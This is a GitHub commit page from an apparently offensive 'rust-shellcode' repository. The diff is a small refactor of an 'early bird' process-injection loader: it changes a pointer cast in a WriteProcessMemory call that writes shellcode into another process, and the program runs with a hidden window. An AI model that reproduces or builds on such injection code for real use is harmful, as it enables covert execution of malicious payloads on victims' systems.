10000 optimize some pointer operations · b1nhack/rust-shellcode@e457edf · GitHub
[go: up one dir, main page]

Skip to content

Commit e457edf

Browse files
committed
optimize some pointer operations
1 parent 9ec7394 commit e457edf

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

early_bird/src/main.rs

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
#![windows_subsystem = "windows"]
22

3-
use std::ffi::c_void;
43
use std::mem::{transmute, zeroed};
54
use std::ptr::{null, null_mut};
65
use windows_sys::Win32::Foundation::{CloseHandle, FALSE, TRUE};
@@ -59,7 +58,7 @@ fn main() {
5958
let res = WriteProcessMemory(
6059
pi.hProcess,
6160
dest,
62-
SHELLCODE.as_ptr() as *const c_void,
61+
SHELLCODE.as_ptr().cast(),
6362
SIZE,
6463
null_mut(),
6564
);

0 commit comments

Comments
 (0)
0